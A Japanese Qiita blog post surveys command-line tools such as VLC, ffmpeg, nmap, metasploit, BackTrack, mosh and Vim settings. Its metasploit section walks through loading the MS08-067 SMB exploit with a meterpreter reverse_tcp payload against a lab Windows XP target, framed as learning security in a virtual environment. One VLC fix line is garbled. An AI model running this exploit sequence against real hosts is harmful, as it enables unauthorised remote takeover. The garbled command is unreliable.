LoginSignup
90
92

More than 1 year has passed since last update.

Command Line で使用しているツールまとめ vol.2

Last updated at Posted at 2012-12-26

Command Lineで使用しているツールを簡単にではありますが、まとめてみようと思います。前回の続きです。私が知らない便利ツールはまだまだたくさんありますので、ここに掲載されているもの以外で便利なものがあれば、ぜひ教えてください。

この記事に貼り付けてあるリンクは、キーワードに関連する適切な場所へと誘導してくれます。非常に有効なので、ぜひ参照してみてください。

また、私は基本的にパソコンのことは何もわかっていないので、記事内には誤りを含む可能性があります。よって、できる限り自分の環境を把握した上で、適時読み換えてもらえればと思います。特に、設定ファイルの場所については気をつけてください。また、GitHomebrewMacPortの導入説明などは省略していますので、注意が必要です。

VLC

私は、作業中に動画を再生することがよくあります。ただし、いつも倍速再生するので、Mplayerでは少し不便な場合があります。そんな時は、VLCを使用してみることにします。MacPortでインストールできるアプリは他にもたくさんあります。Xcode4.3を使用している場合は、Errorが出るので、以下のようにします。


sudo xcode-select -switch /Applications/Xcode.app/Contents/Developer/

sudo port install vlc

または、.dmgファイルを利用してインストールする場合は、設定ファイルに以下を追記すると、便利になります。これは、cvlcを使用する方法です。

~/.zshrc

alias cvlc='/Applications/VLC.app/Contents/MacOS/VLC --intf=rc'

VLCにErrorが出る場合

VLCのErrorが出る場合、以下のような解決策があるようです。


% vlc
VLC media player 2.0.1 Twoflower (revision 2.0.1-0-gf432547)
[0x23b9108] main libvlc error: No plugins found! Check your VLC installation.

% vlc -v
VLC media player 2.0.1 Twoflower (revision 2.0.1-0-gf432547)
[0x1b8c108] main libvlc warning: cannot read /livefs.squashfs/usr/lib/vlc/plugins/plugins.dat (No such file or directory)
[0x1b8c108] main libvlc error: No plugins found! Check your VLC installation.


#Solution 1
#VideoLANのプラグインを参照するためシンボリックリンクを作成します。
$ sudoのはln-s / / livefs.squashfs


#Solution 2
#環境変数にVideoLANの正しいパスを教えます。
$ export VLC_PLUGIN_PATH=/usr/lib/vlc/plugins/

その他の解決法

その他、MacVLCをインストールし、インターフェイスを変更すると、CUIで操作できるようになります。

VLC > 環境設定 > インターフェイス > すべて表示 > インターフェイス:メインインターフェイス > ncurses


echo "alias gvlc='/Applications/VLC.app/Contents/MacOS/VLC'" >> ~/.zshrc

source ~/.zshrc

gvlc

ffmpeg

ffmpegとは、.mp4.flvを変換することができるツールです。また、動画変換アプリとしては、Handbreakも優秀です。


brew install --use-gcc ffmpeg

私は、動画を.mp3に変換するために使用することが多いです。以下のようにしてエイリアスを設定することでffmpeg-mp3でフォルダ内にある.mp4.flvを一括変換できます。


echo "alias ffmpeg-mp3='for i in *.mp4; do ffmpeg -i $i -vn ${i%.mp4}.mp3; done && for i in *.flv; do ffmpeg -i $i -vn ${i%.flv}.mp3; done'" >> ~/.zshrc

また、.swfを変換するには、swftoolsが便利です。

DVDをバックアップし、変換する

DVDをバックアップし、変換するには、musicalが便利です。


brew install dvdbackup

gem install musical


#DVDのリッピングとwavへの変換
musical

#DVDのリッピング
musical --ignore-convert-sound

exiftool

exiftoolとは、EXIF情報を表示したり、編集できるツールのことです。これを利用することで、写真を整理したり、整理した写真をrubyでFlickrに投稿したりすることができます。


brew install exiftool

また、私は、GPS位置情報を削除するためにも使用することがあります。


exiftool -overwrite_original -geotag= *.jpg

imagemagick

imagemagickとは、画像を表示したり、変換したりするツールです。


brew install imagemagick

例えば、180x120サムネイルを作成するには以下のようにします。


convert -define jpeg:size=180x120 -resize 180x120 src.jpg dst.jpg

jdownloader

jdownloaderとは、Download Managerのことです。時にファイルをブラウザのダウンローダーでダウンロードしようとすると、ブラウザの挙動により、またはダウンローダーとしての機能によりダウンロード中のファイルが失われ、最初からダウンロードするような事態が起きてしまいがちです。そのようなときは、jdownloader等を使用するとよいでしょう。また、jdownloaderは、パスワードを自動解析し、解除したり、自動で解凍したりといった設定が可能なので、色々と便利です。

ただし、このアプリは、VLCなどと違ってGUIを基本としたアプリです。よって、CUI操作もできることはできますが、GUI操作が基本となります。なお、Macの場合は、VLCと同様にエイリアスを設定しておくと便利です。Linuxの場合は不要でした。


#ダウンロードを開始する
JDownloader -start

#ダウンロードを停止する
JDownloader -stop

#ファイルを追加する
JDownloader -add <link>

#終了する
JDownloader -quit

jdownloader for Ubuntu


sudo apt-add-repository ppa:jd-team/jdownloader

sudo apt-get update

sudo apt-get install jdownloader

また、完全な日本語化も可能です。

w3m

w3mとは、テキストブラウザのことです。今やURLの認証などは当たり前で、すべての動作をコマンドラインから行おうとした場合、w3mが意外と役に立ちます。もちろん、ブラウジングにも役に立ちますが。

ここでは、w3mのkaymap設定例を紹介しておきます。

~/.w3m/kaymap

#'m'で カーソル下のURLをコピーする
keymap m EXTERN_LINK "echo %s | pbcopy"

#'M'で現在開いているURLをコピーする
keymap M EXTERN "echo %s | pbcopy"

youtube-dl

youtube-dlとは、YouTube動画をURLからダウンロードするツールです。w3mと一緒に使用すれば、そこそこ便利になるかもしれません。


brew install youtube-dl

youtube-dl -t URL

nmap

nmapとは、ネットワークスキャナのことです。様々な脆弱性をスキャンするスクリプトも数多く公開されています。


nmap -sT 192.168.0.3

スクリプトは、Luaで書かれています。ダウンロードしたものをnmap/scriptsに保存し、データベースを再起動すると使えるようになります。


wget http://nmap.org/svn/scripts/smb-check-vulns.nse

find / -name nmap

mv smb-check-vulns.nse /usr/local/share/nmap/scripts

nmap --script-updatedb

nmap --script=smb-check-vulns 192.168.0.3

metasploit

metasploitとは、セキュリティにおける定番ツールのことです。基本的には、脆弱性スキャナと攻撃ツールとなっておりますが、拡張することで、総合的な脆弱性テストが可能です。

では、なぜこのようなツールを紹介するのかというと、私は、パソコンのセキュリティは重要であると考えています。そして、セキュリティを学ぶには、まずはハッキングから学ぶことが効率的だと考えています。つまり、攻撃者の立場になってものを考えるわけです。ということで、ここでは、metasploitの基本的な使い方を紹介したいと思います。


sudo port install metasploit3

brew install metasploit

sudo port uninstall metasploit3

msfconsole

msfupdate

metasploitを実行するときは、ローカルネットワークに仮想環境を構築し、それを対象にしましょう。ここでは、VirtualBoxを使用。


VBoxManage modifyvm windows-xp --vrde on

VBoxManage statmv windows-xp

metasploitの使い方を学ぶには、常に最新のセキュリティ情報をチェックし、危険な脆弱性については、仮想環境にて実行してみることをおすすめします。


#一気にsessionを確立できるためパフォーマンスによく使われるxpの特定バージョンの脆弱性の検索
> search ms08_067_netapi

#攻撃ツールのロード
> use windows/smb/ms08_067_netapi

#ペイロードの設定
> set PAYLOAD windows/meterpreter/reverss_tcp

#攻撃対象の設定
> set RHOST 192.168.0.3

#使用するポートの設定
> set LPORT 8080

#攻撃の開始
> exploit -j

なお、ここでは、投稿の体裁上、MainのMacで攻撃を実行していますが、攻撃する側、攻撃される側どちらも仮想環境に構築し、外部からアクセス出来ないように設定しておくのが一番かとおもいます。その場合、攻撃する側は、BackTrackを使用するのがいいかと思います。

BackTrack

BackTrack5"とは、Ubuntuをベースに作られたHackingToolをつめあわせたOSのことです。アプリも必要最低限しか入っておらず、かつブラウザの設定において一定のセキュリティが施されていることから、初期からある程度のセキュリティが考えられています。

ここでは、BackTrack5初期設定を説明していきたいと思います。


apt-get update && apt-get install software-center

日本語化

日本語版のBackTrackも出回っているようですが、一応紹介しておきます。


Language Support

startx自動化


apt-get install vim

vim ~/.bash_profile

~/.bash_profile

#!/bin/sh
if [[ ! $DISPLAY && $(tty) = /dev/tty1 ]]; then
exec startx
fi

無線LAN接続の自動化


prepare-kernel-sources

cd /usr/src/linux

cp -rf include/generated/* include/linux/

update-rc.d wicd defaults

フォルダの英語化

Ubuntuなどでは必須の初期設定です。


sudo apt-get install xdg-user-dirs-gtk

LANG=C xdg-user-dirs-gtk-update

mosh

moshとは、SSHに代わる新しいリモートツールのことです。moshの特徴は、SSHにはないIP Addresの追跡機能やレスポンスの快適さにあります。基本的には、SSHの設定が使えますので、接続した後は、そちらを参考にしてください。


brew install mobile-shell

mosh remotehost --server="LANG=$LANG mosh-server"

mosh mba@192.168.0.101


sudo apt-get install mosh

Cygwin+mintty

WindowsでTerminal環境を整えるには、Cygwin+minttyがベストだと思います。

まずは、Cygwinをダウンロードし、インストールした後、以下のコマンドを実行します。なお、セットアップにてWeb > WgetだけはCheckを入れておいてください。


wget http://apt-cyg.googlecode.com/svn/trunk/apt-cyg

mv apt-cyg /usr/bin

chmod +x /usr/bin/apt-cyg

source ~/.bashrc

apt-cyg install mintty

なお、シェルをzshに変更する場合は、/etc/passwd/bin/bash/bin/zshに変更します。これで初期からある程度の補完が効いて少しは楽に作業ができます。


apt-cyg install zsh

apt-cyg install vim

vim /etc/passwd

purge

purgeとは、Macのメモリを開放するコマンドです。Xcodeを入れると、同時に入ります。


purge

動作が一瞬停滞しますが、アプリのクラッシュなどはなく、踏み込んだメモリ解放はおこなっていない様子です。docsを見てみましょう。ここでは、ページャーであるlessをインストールしてみます。


brew install less

man purge | less -N

ディスクキャッシュとして確保されているメモリを解放して起動時の状態に近づけるとあります。また、特定できないメモリの確保には影響しないとあります。よって、効果は高いけど、悪影響も小さいということでしょう。安心して使えそうですね。

kptool

kptoolとは、keepassのCLI版のようなものです。そして、keepassとは、パスワード管理アプリです。なお、kptoolは、パスワードを管理することになる以上、docsをしっかりと読み、理解した上で使用しましょう。


sudo easy_install pip

pip install kptool

改良版


git clone https://github.com/shirou/kptool.git

cd kptool/kptool

python kptool.py ~/kptool/tests/keepass-test.kdb

実行できない場合は必要なものを揃えます。


cd ~/kptool

sudo python setup.py install

または、

sudo pip install pycrypto 

echo "alias keepass='python ~/kptool/kptool/kptool.py ~/kptool/tests/keepass-test.kdb'" >> ~/.zshrc

source ~/.zshrc

keepass

他にもpython-keepassというものがあります。

wol

wolとは、Wake-on-LANの略です。簡単に言えば、パソコンの電源をリモートで入れられるアプリのこと。パソコンは、マジックパケットというものを受信すると、パーツや設定にもよりますが、リモートで電源が入るようになっています。

サーバー側


sudo apt-get install ethtool

sudo vim /etc/rc.local

/etc/rc.local

/usr/sbin/ethtool -s eth0 wol g

exit0

クライアント側


brew install wakeonlan

wakeonlan  -i <IP Address> <Mac Address>

もちろん、LAN経由のみならず、WAN経由でも遠隔でパソコンの電源をいれることは可能です。また、iPhoneやAndroidのFingでもWOLは可能なので試してみてください。


git clone git://gist.github.com/3018095.git

参考:Wake-on-LANのマジックパケットを投げつけるだけ

Global IP Addressの確認


curl ifconfig.me

ダイナミックDNS

WAN経由で遠隔操作する場合、サーバーのグローバルアドレスの変化を通知するようにしておきましょう。

まず、MyDNSに登録します。次に、メール送信ソフトとスケジュールソフトのインストールと設定を行います。


sudo apt-get update && sudo apt-get install fetchmail

sudo chmod 710 ~/.fetchmailrc

sudo nano ~/.fetchmailrc

~/.fetchmailrc

user <MyDNSのID>

password <MyDNSのパスワード>

is <サーバーのアカウント> here


crontab -e

0*** /usr/bin/fetchmail -f $HOME/.fetchmailrc 1> /dev/null 2>&1

Vim

VimのキーバインドをEmacs風にする

Vimとは、Pluginが豊富なEditorのことです。私は、kaybindは基本的にはEmacsのほうが好きなのですが、PluginはVimだと思っています。最初に、Emacs風のkaybindを設定ファイルに書いてみます。

~/.vimrc

" 矢印キーの使用
inoremap <C-p> <Up>
inoremap <C-n> <Down>
inoremap <C-b> <Left>
inoremap <C-f> <Right>
inoremap <C-e> <End>
inoremap <C-a> <Home>
inoremap <C-h> <Backspace>
inoremap <C-d> <Del>
" カーソル位置の行をウィンドウの中央に来るようにスルロール
inoremap <C-l> <C-o>zz
" カーソル以前の文字を削除
inoremap <C-u> <C-o>d0
" カーソル以降の文字を削除
inoremap <C-k> <C-o>D
" アンドゥ
inoremap <C-x>u <C-o>u
" 貼りつけ
inoremap <C-y> <C-o>P
" カーソルから単語末尾まで削除
inoremap <F1>d <C-o>dw
" ファイルの先頭に移動
inoremap <F1>< <Esc>ggI
" ファイルの末尾に移動
inoremap <F1>> <Esc>GA
" 下にスクロール
inoremap <C-v> <C-o><C-f>
" 上にスクロール
inoremap <F1>v <C-o><C-b>
" Ctrl-Space で補完
" Windowsは <Nul>でなく <C-Space> とする
inoremap <Nul> <C-n>

参考:vimのインサートモード時のキーバインドをemacsに似せる 2

私の場合、カーソル1文字移動はVim風のkeybindのほうが好きなので、そこら辺は変更してあったりと、上の設定とはちょっとばかり異なります。

コマンドモードへの移行

~/.vimrc

" insert mode でjjでesc
inoremap jj <Esc>

参考:yuroyoro / dotfiles

自動的な移動

~/.vimrc

" カッコやクオートなどを入力した際に左に自動で移動します
inoremap {} {}<Left>
inoremap [] []<Left>
inoremap () ()<Left>
inoremap "" ""<Left>
inoremap '' ''<Left>
inoremap <> <><Left>

参考:Vimでキーバインドを設定する

Vim Plugin

teol.vim

Cなどを書くときに行末につける;を忘れてしまうことはありませんか。そんな時は、teol.vimが便利です。

~/.vimrc.bundle

Bundle 'vim-scripts/teol.vim.git'

例えば、<leader>+;を入力すると、行末に;が挿入されます。

vim-smartchr

見栄えを良くするために半角スペースを使用することは多くありませんか。そんな時は、vim-smartchrを使って設定を行なっておくと便利ですよ。

~/.vimrc.bundle

Bundle 'kana/vim-smartchr'

参考:Shougo / shougo-s-github

例えば、=と入力すると、スペースを含めた_=_が入力されるように設定してみます。

~/.vimrc

inoremap <expr> = smartchr#loop(' = ', ' == ', ' === ', '=')

simplenote.vim

私はメモ帳にSimplenoteを多用しています。Cloudに保存されるのと、端末向けのClient Appが用意されていることや、URLを手軽にクリップできるのも大きいです。今回は、Vim上で動作するSimplenote Clientの紹介です。

~/.vimrc.bundle

Bundle 'mrtazz/simplenote.vim'

vimrcにアカウント情報を入力しましょう。

~/.vimrc

let g:SimplenoteUsername = "your simplenote username"
let g:SimplenotePassword = "your simplenote password"

これで例えば、:Simplenote -lとすると、リストが表示され、直感的な操作でメモを閲覧、編集できます。

追記
投稿の上限が来たので、これ以降のツールの紹介は、次回になります。よろしくお願いします。

90
92
1

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
90
92